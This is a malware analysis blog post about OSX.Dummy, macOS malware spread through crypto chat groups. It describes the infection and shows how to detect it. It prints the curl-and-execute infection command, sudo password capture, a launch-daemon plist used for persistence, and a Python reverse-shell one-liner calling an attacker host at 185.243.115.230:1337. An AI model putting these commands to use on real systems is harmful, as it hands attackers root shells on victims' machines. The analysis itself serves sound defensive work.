Early today, Remco Verhoef (@remco_verhoef) posted an interesting entry to SANS 'InfoSec Handlers Diary Blog'. Titled "Crypto community target of MacOS malware" he noted:

"Previous days we've seen multiple MacOS malware attacks, originating within crypto related Slack or Discord chats groups by impersonating admins or key people. Small snippets are being shared, resulting in downloading and executing a malicious binary."

His great writeup notes the initial infection vector and provides an overview of the malware, including its method of persistence (launch daemon) and purpose (reverse shell).

Here, we dive in a touch deeper into the malware and illustrate how Objective-See's tools can generically thwart this new threat, at every step of the way!

Want to play along? 👾☠️
I've shared the malware, which can be downloaded here (password: infect3d).

OSX.Dummy

Remco Verhoef states the malware attacks are:

"originating within crypto related Slack or Discord chats groups by impersonating admins or key people. Small snippets are being shared, resulting in downloading and executing a malicious binary.

Apparently attackers are asking users to infect themselves, via the following command:

$ cd /tmp && curl -s curl $MALICIOUS_URL > script && chmod +x script && ./script

If users fall for this (rather lame social engineering trick, a rather massive machO binary will be downloaded and executed.

Massive you say? Yes, it clocks in at 34M:

$ du -h /tmp/script 34M script

Using WhatsYourSign, we can see that the malicious binary is not signed:

Normally such a binary would be blocked by GateKeeper. However if users are downloading and running a binary directly via terminal commands, GateKeeper does not come into play and thus unsigned binary will be allowed to execute. Does this count as a GateKeeper bypass? Maybe? ...I guess the take away here is (yet again) the builtin macOS malware mitigations should never be viewed as a panacea.

Unfortunately this binary remains 100% undetected (0/60) all AV engines on VirusTotal:

Moving on, if we open the binary in Hopper, the reason for it's size is clear. Various libraries such as OpenSSL and V8 appear to be statically compiled in:

Since it's a) Friday PM and b) this binary is massive, filled with all sorts of library code, we're going to skip static analysis and hop right into dynamic analysis.

In a High Sierra virtual machine (vm) with various Objective-See tools installed, we execute the malware in order to dynamically observe its actions.

Via the ProcInfo process monitor, it's easy to passively see exactly that malware is up to!

First, the malware sets script to be owned as root:

# procInfo
 
monitoring for process events...
 
process start:
pid: 432
path: /usr/bin/sudo
args: (
   "/usr/bin/sudo",
   "-S",
   "-p",
   "#node-sudo-passwd#",
   chown,
   root,
   "/tmp/script.sh"
)

As the malware executes sudo to change the file's permissions to root, this will require the user enter their password in the terminal. This is saved by the malware to /tmp/dumpdummy:

# sudo fs_usage -w -f filesystem
open /tmp/dumpdummy script.5354
pwrite F=19 script.5354
close F=19 script.5354
 
# cat /tmp/dumpdummy
hunter2

The malware then sets the script to be executable via chmod +x:

# procInfo
 
monitoring for process events...
 
process start:
path: /usr/bin/sudo
user: 501
args: (
   "/usr/bin/sudo",
   "-S",
   "-p",
   "#node-sudo-passwd#",
   chmod,
   "+x",
   "/tmp/script.sh"
)

Following this, the malware continues by:

At this point the malware has persisted a malicious launch daemon. This is kindly noted by BlockBlock which detects and alerts on this persistence attempt: As noted in the BlocKBlock alert, the path to the launch daemon plist is /Library/LaunchDaemons/com.startup.plist.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>KeepAlive</key>
        <true/>
        <key>Label</key>
        <string>com.startup</string>
        <key>Program</key>
        <string>/var/root/script.sh</string>
        <key>RunAtLoad</key>
        <true/>
</dict>
</plist>

As the RunAtLoad key is set to true the value of the Program key, /var/root/script.sh, will be automatically executed by the OS whenever the system is rebooted.

Let's look at the script.sh file:

#!/bin/bash
while :
do
        python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("185.243.115.230",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
        sleep 5
done

Ah a python script! As noted by Remco Verhoef (@remco_verhoef) in his writeup, this will attempt to connect to 185.243.115.230 on port 1337.

It then duplicates stdin, stdout and stderr to the socket, before executing /bin/sh with the -i flag. In other words, it's setting up an interactive reverse shell.

If you have a firewall product installed, such as Objective-See's LuLu, this network activity will be detected:

If the connection to the attacker's C&C server (185.243.115.230:1337) succeeds, the attacker will be able to arbitrarily execute commands (as root!) on the infected system.

Conclusion

Today we analyzed a new piece of mac malware. I'm calling it OSX.Dummy as:

To check if you're infected run KnockKnock as root (since the malware set's it components to be readable only by root). Look for an unsigned launch item com.startup.plist executing something named 'script.sh':

One can also look for an instance of python running running as root, with the aforementioned reverse shell commands:

$ ps aux | grep -i python
root python -c import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("185.243.115.230",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);